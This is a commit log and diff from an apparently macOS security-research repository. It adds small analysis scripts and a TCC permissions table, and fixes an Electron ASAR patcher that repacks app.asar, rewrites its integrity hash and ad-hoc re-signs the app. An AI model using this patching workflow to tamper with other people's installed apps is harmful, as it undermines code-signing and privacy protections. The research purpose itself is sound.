115 Commits
v1.0 ... main

Author SHA1 Message Date
Karol Mazurek
e3442de04c Update README.md 2026-01-09 22:52:18 +01:00
Karol Mazurek
54bcddbce5 Add repository popularity section with star history chart 2025-12-25 08:31:37 +01:00
Karol Mazurek
190d6542d3 Add diff_apss.sh script for app patching analysis 2025-12-22 23:54:41 +01:00
Karol Mazurek
d4cbd1a64c Refactor comment 2025-12-22 20:01:10 +01:00
Karol Mazurek
ff55402c23 Add check_bundle_exe script for extracting executable names from macOS app bundles 2025-12-22 19:59:15 +01:00
Karol Mazurek
2b45f44b06 Add check_cs.sh wrapper 2025-12-18 13:29:58 +01:00
Karol Mazurek
0c0b9ad5b9 Merge branch 'main' of https://github.com/Karmaz95/Snake_Apple 2025-12-15 16:03:42 +01:00
Karol Mazurek
43e98834cc Fix error message formatting in check_paths method 2025-12-15 16:01:17 +01:00
Karol Mazurek
46e647ad47 Make find_symbol.py executable 2025-12-15 15:50:19 +01:00
Karol Mazurek
4d9bdde03a Add new hooks for process and vnode checks 2025-12-12 17:26:05 +01:00
Karol Mazurek
b3fbaacee6 Update TOOLS.md to include find_symbol documentation 2025-12-09 11:33:14 +01:00
Karol Mazurek
05e95dcf39 Add find_symbol.py script for locating symbols in PATH recursively 2025-12-09 11:33:03 +01:00
Karol Mazurek
d08cd41f2d Add IDA Pro MIG Subsystem Scanner for identifying and labeling MIG subsystems in Mach binaries 2025-12-07 20:28:07 +01:00
Karol Mazurek
ec2cfe8425 Change file mode of r2_dd.py to make it executable 2025-12-07 00:26:26 +01:00
Karol Mazurek
8d6a8b4c6b Add r2_dd documentation and usage examples to TOOLS.md 2025-12-06 22:27:38 +01:00
Karol Mazurek
5a906283f3 Add r2_dd script for binary extraction based on Virtual Addresses using radare2 2025-12-06 22:17:34 +01:00
Karol Mazurek
cac76ae2aa Add Lock to synchronize print statements and prevent stdout corruption when multiple threads write simultaneously. Example corruption before:
```
DYLIB:/Applications/NordVPN.app/Contents/Frameworks/norddropFFI.framework/Versions/A/norddropFFI

/* No comment provided by engineer. */
"Update Error!" = "Virhe p�ivEXECUTE:/Applications/KnockKnock.app/Contents/MacOS/KnockKnock
```
2025-12-06 21:38:19 +01:00
Karol Mazurek
1fda24819c Add final_secure_test_xpc.zip to the App Bundle Extension 2025-12-02 19:17:52 +01:00
Karol Mazurek
1ae188683a Add secure_test_xpc.zip to the App Bundle Extension 2025-12-02 18:53:33 +01:00
Karol Mazurek
de427b1cba Add secure_test_xpc.zip to the App Bundle Extension 2025-12-02 18:16:13 +01:00
Karol Mazurek
deb19c3858 Add link to "Dyld Shared Cache Patch Diffing based on CVE-2025-43400" in the table of contents 2025-11-01 14:37:53 +01:00
Karol Mazurek
32ea1c4eda Add link to "Threats of Unvalidated XPC Clients on macOS" in the table of contents 2025-10-27 09:56:25 +01:00
Karol Mazurek
e6f94ef223 Fix formatting issue in README.md 2025-10-18 15:24:13 +02:00
Karol Mazurek
3473985e92 Description update. 2025-10-18 15:23:14 +02:00
Karol Mazurek
2976102984 Add link to "Static Analysis on Decompiled Code" in the table of contents 2025-10-01 20:21:57 +02:00
Karol Mazurek
4345a0412e Fix: Add IOKit 16-scalar limit validation to prevent OOB access
Validates scalar input/output counts in -y parameter don't exceed
IOKit's maximum of 16, preventing garbage values from array bounds.
2025-09-27 17:10:10 +02:00
Karol Mazurek
29a3124b7e Add link to "Breaking Hardened Runtime: The 0-Day Microsoft Delivered to macOS" in the table of contents. 2025-09-15 17:47:00 +02:00
Karol Mazurek
38cc7865bc Update link for "AI-Enhanced Vulnerability Research" in the table of contents 2025-09-03 11:02:16 +02:00
Karol Mazurek
96a0c023f0 Add link to "To allow or not to get-task-allow, that is the question" in the table of contents and update Tools.md reference 2025-09-02 11:05:50 +02:00
Karol Mazurek
713178663d Add link to "Reverse Engineering Apple’s TCC Daemon: When Decompiled Code Lies" in the table of contents 2025-08-25 20:57:57 +02:00
Karol Mazurek
26efd8b1b1 Add link to "Mapping IOKit Methods Exposed to User Space on macOS" in the table of contents 2025-08-19 00:11:57 +02:00
Karol Mazurek
d5482eb959 Add link to "TCC Bypass in Visual Studio Code via misconfigured Node fuses" in the table of contents 2025-08-18 10:55:29 +02:00
Karol Mazurek
6553126bfc Adding article link "A mouse move that crashed the system – Stack Buffer Overflow in Display Driver on macOS" to README.md 2025-08-11 10:25:34 +02:00
Karol Mazurek
58f97f589c Add new article placeholders for "Apple Intelligence" and "AI-Enhanced Vulnerability Research" in the table of contents 2025-08-02 14:07:29 +02:00
Karol Mazurek
e1cdd27c28 Add link to "Applications Patch Diffing on macOS" in the table of contents 2025-08-01 09:31:35 +02:00
Karol Mazurek
30d7d0e9b4 Update README to enhance description of exclusive content for Elite Patrons and mark articles with asterisks 2025-07-25 21:02:17 +02:00
Karol Mazurek
4b827afe20 Create TCC CheatSheet.md 2025-07-25 08:07:46 +02:00
Karol Mazurek
2ffc0f982e Add article link for "Scaling Vulnerability Discovery on macOS" to README 2025-07-02 18:04:00 +02:00
Karol Mazurek
2cdd37a9ff Add link to "LLDB for Vulnerability Research" article in README 2025-06-16 15:54:18 +02:00
Karol Mazurek
9872ec6fc4 Fix typo in article link for System Integrity Protection 2025-06-12 01:42:09 +02:00
Karol Mazurek
06d77e7c09 Enhance ioconnectcallmethod_hook to generate unique filenames for dumped inputStruct and print IOConnectCallMethod return code 2025-06-11 00:04:42 +02:00
Karol Mazurek
0fd3c811db Add inputStruct dumping functionality to iokit_tracer with output directory support 2025-06-10 19:08:16 +02:00
Karol Mazurek
1962ab10ef Enhance trace_iokit command to utilize the current LLDB target/process if no PID or executable path is specified 2025-06-10 18:53:50 +02:00
Karol Mazurek
3f1f2e6228 Add error handling for subprocess output in dtrace scripts 2025-06-10 18:36:34 +02:00
Karol Mazurek
1a00625b0f Add IOVerify tool for IOKit driver communication verification 2025-06-09 15:32:42 +02:00
Karol Mazurek
8eb7589493 Add iokit_dump.py script for dumping IOKit IOConnectCallMethod data in LLDB 2025-06-09 02:34:05 +02:00
Karol Mazurek
2e208d662c Add iokit_tracer.py script for complete IOKit data inspection and tracing 2025-06-09 02:26:24 +02:00
Karol Mazurek
014ce2b5d5 Add dtrace_externalMethod.py script to trace IOConnectCallMethod kernel functions 2025-06-09 01:47:35 +02:00
Karol Mazurek
18dfa39f42 Add dtrace_NewUserClient.py script to trace kernel newUserClient calls on macOS 2025-06-09 01:39:38 +02:00
Karol Mazurek
b0439e7220 Add trace_ioserviceopen.py script to trace IOServiceOpen calls in LLDB 2025-06-09 01:38:54 +02:00
Karol Mazurek
95752eefc7 Add print_methods function to display external methods details in IDA 2025-06-08 00:50:59 +02:00
Karol Mazurek
0f8df62d82 Enhance IDA script for IOExternalMethodDispatch structures:
- Added support for struct_type argument in create_external_method_dispatch_struct and format_external_method_array functions.
- Updated documentation for usage and structure formats.
- Improved handling of specific fields for IOExternalMethodDispatch2022.
2025-06-08 00:50:34 +02:00
Karol Mazurek
bcc9f34241 Information Update 2025-05-31 23:26:27 +02:00
Karol Mazurek
ac5c9c9799 Add link to "Threat of TCC Bypasses on macOS" article in README.md 2025-05-26 12:16:03 +02:00
Karol Mazurek
85fc5ffea3 Fixing links in README.md 2025-05-23 10:27:12 +02:00
asdh1qwe
1bca0fd124 Adding "Case Study: IOMobileFramebuffer NULL Pointer Dereference" article link to README.md 2025-04-22 11:05:15 +02:00
Karmaz95
78e70edcbb Adding "History of NULL Pointer Dereferences on macOS" article link to README.md 2025-03-28 19:52:47 +01:00
Karmaz95
7c5d445980 Minor changes to README.md in "WHY UROBOROS?" section. 2025-02-15 15:25:39 +01:00
Karmaz95
fccc122ba5 Detaching Tools section from README.md to TOOLS.md file. 2025-02-15 15:20:59 +01:00
Karmaz95
0ef9bd433e Adding a note for the Articles section of the README.md about free access to Medium links. 2025-02-15 11:00:58 +01:00
Karmaz95
58b2a53831 Adding "Case Study: Analyzing macOS IONVMeFamily NS_01 Driver Denial of Service Issue" article link. 2025-02-12 13:33:13 +01:00
Karmaz95
2d0f12c15a Adding SLAP & FLOP: Apple Silicon’s Data Speculation Vulnerabilities article. 2025-01-30 17:25:38 +01:00
Karmaz95
2fb33d88be Patrons update 2025-01-30 12:20:13 +01:00
Karol Mazurek
dab7384bc8 Merge pull request #2 from devnoname120/fix-electron-patcher
Fix electron patching
2025-01-08 11:31:46 +01:00
Paul
deb421a620 Fix electron patching
- Use the `@electron/asar` NPM package instead of the old outdated `asar` package.
- Fix escaping error in the `npx` call when there are spaces in the paths.
2025-01-05 18:57:23 +01:00
Karmaz95
2e4fe54a6f Adding XNU article friend link 2024-12-30 21:06:08 +01:00
Karmaz95
6915ce42a4 Patching single "=" typo in requirements.txt 2024-12-27 01:10:37 +01:00
Karmaz95
603e984ed4 CrimsonUroboros --help update 2024-12-26 18:01:52 +01:00
Karmaz95
06db486a74 Adding test_parse_mpo to XNU testing class 2024-12-26 17:54:59 +01:00
Karmaz95
6223fc3df2 Moving dump_kext to XNU class 2024-12-26 17:36:13 +01:00
Karmaz95
116c826b9c Update CrimsonUroboros with XNU 2024-12-26 16:47:29 +01:00
Karmaz95
a0e9a1500f Adding a link to the Drivers on macOS article. 2024-12-26 04:08:32 +01:00
Karmaz95
532c6cf56f Updated, but still need some work 2024-12-25 07:16:08 +01:00
Karmaz95
514b18d64f Adding AppleJPEGDriver_method_1.cpp 2024-12-25 06:02:41 +01:00
Karmaz95
24cd4ccb58 Adding IOConnectCallMethod simple examples 2024-12-25 01:29:41 +01:00
Karmaz95
a49923016b IDA script for IOExternalMethodDispatch2022 array parsing 2024-12-24 23:31:11 +01:00
Karmaz95
0a576da592 Uploading example C programs for driver article. 2024-12-23 13:17:48 +01:00
Karmaz95
7a0de01576 Adding link to XPC Programming on macOS 2024-12-21 12:44:02 +01:00
Karmaz95
2107b01887 Uploading LLDB helper for setting XPC breakpoints 2024-12-20 22:41:32 +01:00
Karmaz95
684d03c491 Uploading LaunchDaemon XPC service example 2024-12-20 02:02:18 +01:00
Karmaz95
83db8c656d test_terminal_xpc update 2024-12-18 22:43:58 +01:00
Karmaz95
3f1b032bff Moving XPC to App Bundle Extension directory from XNU 2024-12-18 22:35:45 +01:00
Karmaz95
b920d49964 Uploading test_termina_xpc bundle app 2024-12-18 22:33:55 +01:00
Karmaz95
917088a2ec Adding Mach IPC Security on macOS article link 2024-12-17 18:27:33 +01:00
Karmaz95
9f195f010b Uploading code that demonstrates process injection on macOS using the Mach kernel APIs 2024-12-17 15:29:54 +01:00
Karmaz95
1e0787cef8 Uploading scripts for special ports enumeration 2024-12-17 03:27:51 +01:00
Karmaz95
5f2f010eb7 Update to enum_special_port_rights 2024-12-17 03:21:09 +01:00
Karmaz95
2b125144ea Uploading service_lookup 2024-12-17 02:40:51 +01:00
Karmaz95
fe6dcb3b79 Update for port_inspector 2024-12-17 02:11:37 +01:00
Karmaz95
975b88ffcc Adding port_inspector.c 2024-12-16 16:11:02 +01:00
Karmaz95
3f3d5355b3 Adding client_server NSNotification example 2024-12-16 15:21:42 +01:00
Karmaz95
043c2714f1 Adding client_server CFMessagePort example 2024-12-16 14:45:50 +01:00
Karmaz95
b735706891 Adding client_server NSMachPort example 2024-12-16 14:35:30 +01:00
Karmaz95
5e6daa4a92 Adding client_server NSConnection example 2024-12-16 14:12:52 +01:00
Karmaz95
9a58e93e3c 2024-12-15 22:55:06 +01:00
Karmaz95
63971e56bc Move enum_special_port_rights to mach_ipc directory 2024-12-15 18:53:49 +01:00
Karmaz95
25dd6a7ef2 Adding example Mach IPC client-server with and without MIG 2024-12-15 17:56:29 +01:00
Karmaz95
0b585a6e33 Enumerates our task rights to special ports 2024-12-14 22:29:58 +01:00
Karmaz95
94ac0a9eda Adding CommPageParser 2024-12-11 19:33:33 +01:00
Karmaz95
dcd13d7e7a Adding Kernel Extensions on macOS link. 2024-12-10 19:27:04 +01:00
Karmaz95
4e92e0de3f Fix dependency 2024-12-08 13:15:16 +01:00
Karmaz95
2249085af6 Add printf to kext start/stop 2024-12-08 13:14:19 +01:00
Karmaz95
7697a32562 The fix for "Binary is for x86_64, but arch arm64e" is needed while loading kext. 2024-12-06 22:03:29 +01:00
Karmaz95
8a218fe824 Fix for the "missing compatible arch" error when loading kext. 2024-12-06 21:56:11 +01:00
Karmaz95
cac8faf611 Bug fix - no kext binary after successful build. 2024-12-06 21:49:53 +01:00
Karmaz95
6fa59caab5 Bare Kernel Extension project ready to compile 2024-12-06 21:27:23 +01:00
Karmaz95
42cf84599a Patching getSegmentsInfo bug when parsing kext 2024-12-06 19:55:44 +01:00
Karmaz95
23280fb8c9 Added article about [MACF on macOS] 2024-11-28 21:50:18 +01:00
Karmaz95
448432df9d Added article about Exceptions on macOS 2024-11-28 19:47:01 +01:00
Karmaz95
d292244cbe Adding MPO (mac_policy_ops) parser 2024-11-28 19:43:45 +01:00
Karmaz95
6b34b6ea10 Adding MPO structure for IDA 2024-11-28 18:32:25 +01:00
Karmaz95
5099b43a34 Preparing CrimsonUroboros for XNU module. 2024-11-28 18:32:09 +01:00
Karmaz95
1bc13f6fbe Article: Exceptions on macOS 2024-11-22 19:20:41 +01:00
Karmaz95
c956294ec7 Fix for typo in README.md 2024-11-16 14:17:00 +01:00
Karmaz95
9c9d5d30f0 Typo in README.md 2024-11-15 19:08:19 +01:00
71 changed files with 9836 additions and 942 deletions

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,99 @@
#!/bin/bash
# CHECK BUNDLE EXECUTABLE
# A tool for extracting executable names from macOS app bundles Info.plist
get_executable_name() {
local plist="$1"
local value
value=$(/usr/libexec/PlistBuddy -c "Print :CFBundleExecutable" "$plist" 2>/dev/null)
if [ $? -eq 0 ] && [ -n "$value" ]; then
echo "$value"
return 0
fi
local app_dir
app_dir=$(dirname "$(dirname "$plist")")
local app_name
app_name=$(basename "$app_dir" .app)
if [ -n "$app_name" ] && [ "$app_name" != "Contents" ]; then
echo "$app_name"
return 0
fi
echo "UNKNOWN"
return 1
}
process_app() {
local app_path="$1"
local exec_name="UNKNOWN"
local plist
local found=false
app_path="${app_path%/}"
if [[ "$app_path" =~ /Wrapper/.*\.app$ ]]; then
return
fi
if [ -d "$app_path" ]; then
plist="$app_path/Contents/Info.plist"
if [ -f "$plist" ]; then
exec_name=$(get_executable_name "$plist")
if [ "$exec_name" != "UNKNOWN" ]; then
found=true
fi
fi
if [ "$found" = false ]; then
local wrapped_bundle="$app_path/WrappedBundle"
if [ -L "$wrapped_bundle" ] && [ -d "$wrapped_bundle" ]; then
plist="$wrapped_bundle/Contents/Info.plist"
if [ -f "$plist" ]; then
exec_name=$(get_executable_name "$plist")
if [ "$exec_name" != "UNKNOWN" ]; then
found=true
fi
fi
fi
fi
if [ "$found" = false ]; then
while IFS= read -r nested_plist; do
exec_name=$(get_executable_name "$nested_plist")
if [ "$exec_name" != "UNKNOWN" ]; then
found=true
break
fi
done < <(find "$app_path" -name "Info.plist" -path "*/Wrapper/*.app/Contents/Info.plist" 2>/dev/null)
fi
if [ "$found" = false ]; then
while IFS= read -r nested_plist; do
exec_name=$(get_executable_name "$nested_plist")
if [ "$exec_name" != "UNKNOWN" ]; then
found=true
break
fi
done < <(find "$app_path" -name "Info.plist" -maxdepth 3 2>/dev/null | grep -E "($app_path/Info.plist|$app_path/Wrapper/.*Info.plist)")
fi
echo "$exec_name"
else
echo "UNKNOWN" >&2
fi
}
if [ "$#" -ge 1 ]; then
for app in "$@"; do
process_app "$app"
done
else
while IFS= read -r line; do
process_app "$line"
done
fi

View File

@@ -0,0 +1,149 @@
#!/usr/bin/env bash
# Check if the correct number of arguments provided
if [ $# -ne 2 ]; then
echo "Usage: $0 OLD_APP NEW_APP"
echo "Example: $0 OLD/Fantastical.app NEW/Fantastical.app"
exit 1
fi
OLD_APP="$1"
NEW_APP="$2"
# Check if directories exist
if [ ! -d "$OLD_APP" ]; then
echo "Error: Old app directory '$OLD_APP' does not exist"
exit 1
fi
if [ ! -d "$NEW_APP" ]; then
echo "Error: New app directory '$NEW_APP' does not exist"
exit 1
fi
echo "=========================================="
echo "APP PATCHING ANALYSIS"
echo "=========================================="
echo "Old App: $OLD_APP"
echo "New App: $NEW_APP"
echo "=========================================="
# Run diff with -r for recursive and -q for brief output
DIFF_OUTPUT=$(diff -rq "$OLD_APP" "$NEW_APP" 2>/dev/null)
# Process new files
echo -e "\n🆕 NEW FILES:"
echo "----------------------------------------"
NEW_LIST=$(echo "$DIFF_OUTPUT" | grep "Only in $NEW_APP" | sed "s|Only in $NEW_APP/||" | sed 's|: | → |')
if [ -n "$NEW_LIST" ]; then
echo "$NEW_LIST" | while read -r line; do
echo " + $line"
done
else
echo " (No new files)"
fi
# Process deleted files
echo -e "\n❌ DELETED FILES:"
echo "----------------------------------------"
DELETED_LIST=$(echo "$DIFF_OUTPUT" | grep "Only in $OLD_APP" | sed "s|Only in $OLD_APP/||" | sed 's|: | → |')
if [ -n "$DELETED_LIST" ]; then
echo "$DELETED_LIST" | while read -r line; do
echo " - $line"
done
else
echo " (No deleted files)"
fi
# Process modified files
echo -e "\n📝 MODIFIED FILES:"
echo "----------------------------------------"
MODIFIED_LIST=$(echo "$DIFF_OUTPUT" | grep "^Files.*differ$" | sed "s|Files $OLD_APP/||" | sed "s| and $NEW_APP/.*differ$||")
if [ -n "$MODIFIED_LIST" ]; then
echo "$MODIFIED_LIST" | while read -r line; do
echo " ~ $line"
done
else
echo " (No modified files)"
fi
# Find and report symlink changes
echo -e "\n🔗 SYMLINK CHANGES:"
echo "----------------------------------------"
SYMLINK_CHANGES=""
# Find all symlinks in OLD_APP
while IFS= read -r old_symlink; do
rel_path="${old_symlink#$OLD_APP/}"
new_symlink="$NEW_APP/$rel_path"
if [ ! -L "$new_symlink" ]; then
# Symlink was removed or converted to regular file
SYMLINK_CHANGES="${SYMLINK_CHANGES} - Removed: $rel_path\n"
else
# Check if symlink target changed
old_target=$(readlink "$old_symlink")
new_target=$(readlink "$new_symlink")
if [ "$old_target" != "$new_target" ]; then
SYMLINK_CHANGES="${SYMLINK_CHANGES} ~ Modified: $rel_path\n"
SYMLINK_CHANGES="${SYMLINK_CHANGES} Old target: $old_target\n"
SYMLINK_CHANGES="${SYMLINK_CHANGES} New target: $new_target\n"
fi
fi
done < <(find "$OLD_APP" -type l)
# Find new symlinks in NEW_APP
while IFS= read -r new_symlink; do
rel_path="${new_symlink#$NEW_APP/}"
old_symlink="$OLD_APP/$rel_path"
if [ ! -L "$old_symlink" ]; then
# New symlink added
new_target=$(readlink "$new_symlink")
SYMLINK_CHANGES="${SYMLINK_CHANGES} + Added: $rel_path$new_target\n"
fi
done < <(find "$NEW_APP" -type l)
if [ -n "$SYMLINK_CHANGES" ]; then
echo -e "$SYMLINK_CHANGES"
else
echo " (No symlink changes)"
fi
# Count totals
NEW_COUNT=$(echo "$DIFF_OUTPUT" | grep -c "Only in $NEW_APP" 2>/dev/null || echo "0")
DELETED_COUNT=$(echo "$DIFF_OUTPUT" | grep -c "Only in $OLD_APP" 2>/dev/null || echo "0")
MODIFIED_COUNT=$(echo "$DIFF_OUTPUT" | grep -c "^Files.*differ$" 2>/dev/null || echo "0")
# Ensure counts are single integers
NEW_COUNT=$(echo "$NEW_COUNT" | head -n1 | tr -d '\n')
DELETED_COUNT=$(echo "$DELETED_COUNT" | head -n1 | tr -d '\n')
MODIFIED_COUNT=$(echo "$MODIFIED_COUNT" | head -n1 | tr -d '\n')
# Summary
echo -e "\n📊 SUMMARY:"
echo "=========================================="
echo "New files: $NEW_COUNT"
echo "Deleted files: $DELETED_COUNT"
echo "Modified files: $MODIFIED_COUNT"
echo "Total changes: $((NEW_COUNT + DELETED_COUNT + MODIFIED_COUNT))"
echo "=========================================="
# Binary file detection
BINARY_CHANGES=""
while IFS= read -r file; do
if [ -n "$file" ]; then
full_path="$NEW_APP/$file"
if [ -f "$full_path" ] && [ ! -L "$full_path" ]; then
file_type=$(file -b "$full_path" 2>/dev/null)
if echo "$file_type" | grep -qE "(executable|shared library)"; then
BINARY_CHANGES="$BINARY_CHANGES$file\n"
fi
fi
fi
done <<< "$MODIFIED_LIST"
if [ -n "$BINARY_CHANGES" ]; then
echo "⚠️ Binary files modified:"
echo -e "$BINARY_CHANGES" | sed 's/^/ /'
fi

View File

@@ -34,7 +34,7 @@ class ASARPatcher:
def extractASAR(self, app_path, output_path):
'''Extracts {input_path} asar file to {output_path} directory.'''
input_path = os.path.join(app_path, "Contents/Resources/app.asar")
status_code = os.system(f"npx asar extract {input_path} {output_path}")
status_code = os.system(f"npx @electron/asar extract '{input_path}' '{output_path}'")
if status_code == 0:
print(f"Extracted {input_path} to {output_path} directory.")
@@ -44,8 +44,8 @@ class ASARPatcher:
def dumpEntitlements(self, app_path):
output_path='/tmp/extracted_entitlements.xml'
status_code = os.system(f"codesign -d --entitlements :- {app_path} > {output_path}")
status_code = os.system(f"codesign -d --entitlements :- '{app_path}' > '{output_path}'")
if status_code == 0:
print(f"Dumped entitlements from {app_path} to {output_path}")
@@ -53,7 +53,7 @@ class ASARPatcher:
print(f"Failed to dump entitlements from {app_path} to {output_path}. Error code: {status_code}")
def checkIfElectronAsarIntegrityIsUsed(self, app_path):
status_code = os.system(f"plutil -p {app_path}/Contents/Info.plist | grep -q ElectronAsarIntegrity")
status_code = os.system(f"plutil -p '{app_path}/Contents/Info.plist' | grep -q ElectronAsarIntegrity")
if status_code == 0:
return True
else:
@@ -62,12 +62,12 @@ class ASARPatcher:
def packASAR(self, input_path, app_path):
'''Packs {input_path} directory to {output_path} asar file.
Check if ElectronAsarIntegrity is used in Info.plist, and if so, calculate hash and replace it.
Codesign the
Codesign the
'''
output_path = os.path.join(app_path, "Contents/Resources/app.asar")
info_plist_path = os.path.join(app_path, "Contents/Info.plist")
status_code = os.system(f"npx asar pack {input_path} {output_path}")
status_code = os.system(f"npx @electron/asar pack '{input_path}' '{output_path}'")
if status_code == 0:
print(f"Packed {input_path} into {output_path}")
@@ -77,14 +77,14 @@ class ASARPatcher:
new_hash = asar_calculator.calcASARHeaderHash()
print(f"New hash: {new_hash}")
print("Replacing ElectronAsarIntegrity in Info.plist")
os.system(f"/usr/libexec/PlistBuddy -c 'Set :ElectronAsarIntegrity:Resources/app.asar:hash {new_hash}' {info_plist_path}")
os.system(f"/usr/libexec/PlistBuddy -c 'Set :ElectronAsarIntegrity:Resources/app.asar:hash {new_hash}' '{info_plist_path}'")
print("Resigning app")
self.dumpEntitlements(app_path)
os.system(f"codesign --force --entitlements /tmp/extracted_entitlements.xml --sign - {app_path}")
os.system(f"codesign --force --entitlements /tmp/extracted_entitlements.xml --sign - '{app_path}'")
os.remove('/tmp/extracted_entitlements.xml')
print("Done!")
def main():
@@ -113,4 +113,4 @@ def main():
print("Invalid command. Use 'extract' or 'pack'.")
if __name__ == "__main__":
main()
main()

View File

@@ -4,6 +4,7 @@ import sys
import argparse
import struct
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
import stat
class MachOFileFinder:
@@ -37,6 +38,7 @@ class MachOFileFinder:
self.directory_path = directory_path
self.recursive = recursive
self.only_arm64 = only_arm64
self.print_lock = Lock()
def isRegularFile(self, file_path):
"""Check if the specified file is a regular file."""
@@ -178,7 +180,8 @@ class MachOFileFinder:
# Check if the file is a Mach-O binary or FAT binary
file_type = self.getMachoInfo(file_path)
if file_type:
print(f"{file_type}:{file_path}")
with self.print_lock:
print(f"{file_type}:{file_path}")
def processFiles(self):
"""Walk through the directory and process files using threading for faster execution."""
@@ -202,4 +205,4 @@ if __name__ == "__main__":
sys.exit(1)
finder = MachOFileFinder(directory_path, recursive=args.recursive, only_arm64=args.only_arm64)
finder.processFiles()
finder.processFiles()

61
I. Mach-O/python/find_symbol.py Executable file
View File

@@ -0,0 +1,61 @@
#!/usr/bin/env python3
'''
Example usage - find _sandbox_check function across extracted libraries from Dyld Shared Cache:
$ python3 find_symbol.py . _sandbox_check
./usr/lib/libspindump.dylib
U _sandbox_check
----
./usr/lib/dyld
0000000180141a6c T _sandbox_check
0000000180141b4c t _sandbox_check_common
----
./usr/lib/libnetworkextension.dylib
U _sandbox_check
'''
import os
import subprocess
import sys
def find_symbol(target_dir, symbol):
if not os.path.exists(target_dir):
print(f"Error: Directory '{target_dir}' does not exist.")
sys.exit(1)
# Walk recursively through all files
for root, _, files in os.walk(target_dir):
for file in files:
file_path = os.path.join(root, file)
# Construct the command using nm instead of disarm
# nm FILE_PATH | grep SYMBOL
cmd = f"nm \"{file_path}\" 2>/dev/null | grep \"{symbol}\""
try:
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
if result.stdout:
print(file_path)
print(result.stdout.rstrip())
print("----")
except Exception:
continue
def main():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <directory_path> <symbol>")
sys.exit(1)
target_dir = sys.argv[1]
symbol = sys.argv[2]
find_symbol(target_dir, symbol)
if __name__ == "__main__":
main()

84
I. Mach-O/python/r2_dd.py Executable file
View File

@@ -0,0 +1,84 @@
#!/usr/bin/env python3
import sys
import subprocess
import os
def print_usage():
print("Usage: r2_dd BINARY_PATH START_ADDR END_ADDR OUT_FILE")
print("Example: r2_dd ./kernelcache 0xFFFFFF80002A0000 0xFFFFFF80002A0500 ./dump.bin")
print("\nNote: Addresses can be Hex (0x...) or Decimal.")
def parse_addr(addr_str):
"""Parses hex or decimal string to integer."""
try:
if addr_str.lower().startswith("0x"):
return int(addr_str, 16)
else:
return int(addr_str)
except ValueError:
print(f"Error: Invalid address format '{addr_str}'")
sys.exit(1)
def main():
if len(sys.argv) != 5:
print_usage()
sys.exit(1)
bin_path = sys.argv[1]
start_str = sys.argv[2]
end_str = sys.argv[3]
out_file = sys.argv[4]
if not os.path.exists(bin_path):
print(f"Error: Binary file not found at '{bin_path}'")
sys.exit(1)
start_ea = parse_addr(start_str)
end_ea = parse_addr(end_str)
if end_ea <= start_ea:
print("Error: END_ADDR must be greater than START_ADDR")
sys.exit(1)
size = end_ea - start_ea
print(f"--- Extraction Details ---")
print(f"Binary: {bin_path}")
print(f"Start : {hex(start_ea)}")
print(f"End : {hex(end_ea)}")
print(f"Size : {size} bytes")
print(f"--------------------------")
# We use radare2 (r2) because it automatically maps Virtual Addresses
# to file offsets for Mach-O/ELF files.
# -q : quiet mode
# -N : no user settings (clean environment)
# -c : execute command
# s : seek to address
# pr : print raw bytes
r2_cmd = ["r2", "-q", "-N", "-c", f"s {start_str}; pr {size}", bin_path]
try:
print("Running r2...")
with open(out_file, "wb") as f:
# We pipe stderr to DEVNULL to avoid r2 warnings cluttering output
result = subprocess.run(r2_cmd, stdout=f, stderr=subprocess.DEVNULL)
if result.returncode == 0:
print(f"Success! Saved to: {out_file}")
# Verify file size
if os.path.exists(out_file):
dump_size = os.path.getsize(out_file)
if dump_size == size:
print("Verification: File size matches requested size.")
else:
print(f"Warning: Dumped size ({dump_size}) differs from expected ({size}).")
else:
print("Error: r2 command failed. Do you have radare2 installed?")
except FileNotFoundError:
print("Error: 'r2' command not found. Please install radare2 (brew install radare2).")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,5 @@
#!/bin/bash
# Usage: check_cs PATH
codesign -dvvvv --entitlements - "$1" 2>&1

View File

@@ -0,0 +1,150 @@
| TCC Service | Combined Description |
| :-- | :-- |
| kTCCService | Serves as a general identifier for TCC services. |
| kTCCServiceAccessibility | Enables apps to control the computer, often for assistive tools like screen readers or automation scripts. Apps may prompt: "Allows client to control computer." |
| kTCCServiceAddressBook | Permits access to contacts; prompts might say: "Client would like to access your contacts." |
| kTCCServiceAll | Grants broad access to all TCC-protected resources. |
| kTCCServiceAppleEvents | Allows sending Apple Events for app control; e.g., "Client wants access to control indirect_object_identifier, providing access to its documents and actions." |
| kTCCServiceAudioCapture | Enables audio input capture, useful for recording apps. |
| kTCCServiceBluetoothAlways | Provides ongoing Bluetooth access; prompts: "Client would like to use Bluetooth." |
| kTCCServiceBluetoothPeripheral | Facilitates connections to Bluetooth devices. |
| kTCCServiceBluetoothWhileInUse | Limits Bluetooth access to active app use. |
| kTCCServiceCalendar | Allows calendar access; e.g., "Client would like to access your calendar." |
| kTCCServiceCalls | Handles call-related functionalities. |
| kTCCServiceCamera | Grants camera access; common prompt: "Client would like to access the camera." |
| kTCCServiceContactlessAccess | Supports features like NFC or contactless interactions. |
| kTCCServiceContactsFull | Provides complete contacts access; e.g., "Client would like to access all of your contacts information." |
| kTCCServiceContactsLimited | Offers restricted contacts access; e.g., "Client would like to access your contacts basic information." |
| kTCCServiceCrashDetection | Enables crash detection capabilities. |
| kTCCServiceDeveloperTool | Allows running non-secure software locally; e.g., "Allows client to run software that does not meet the systems security policy." |
| kTCCServiceEndpointSecurityClient | Provides endpoint security features. |
| kTCCServiceExposureNotification | Manages exposure alerts, such as for health notifications. |
| kTCCServiceExposureNotificationRegion | Handles region-based exposure notifications. |
| kTCCServiceFaceID | Permits Face ID usage. |
| kTCCServiceFacebook | Integrates with Facebook features. |
| kTCCServiceFallDetection | Supports fall detection sensors. |
| kTCCServiceFileProviderDomain | Allows access to managed file domains; e.g., "Client wants to access files managed by indirect_object_identifier." |
| kTCCServiceFileProviderPresence | Tracks file usage in providers; e.g., "Do you want to allow client to see when you are using files managed by it?" |
| kTCCServiceFinancialData | Enables access to financial information. |
| kTCCServiceFocusStatus | Shares Focus mode status; e.g., "Allow client to share that you have notifications silenced when using Focus?" |
| kTCCServiceFSKitBlockDevice | Manages block devices in FSKit. |
| kTCCServiceGameCenterFriends | Connects to Game Center friends; e.g., "Allow client to connect you with your Game Center friends?" |
| kTCCServiceKeyboardNetwork | Permits network access for keyboards. |
| kTCCServiceLinkedIn | Integrates with LinkedIn. |
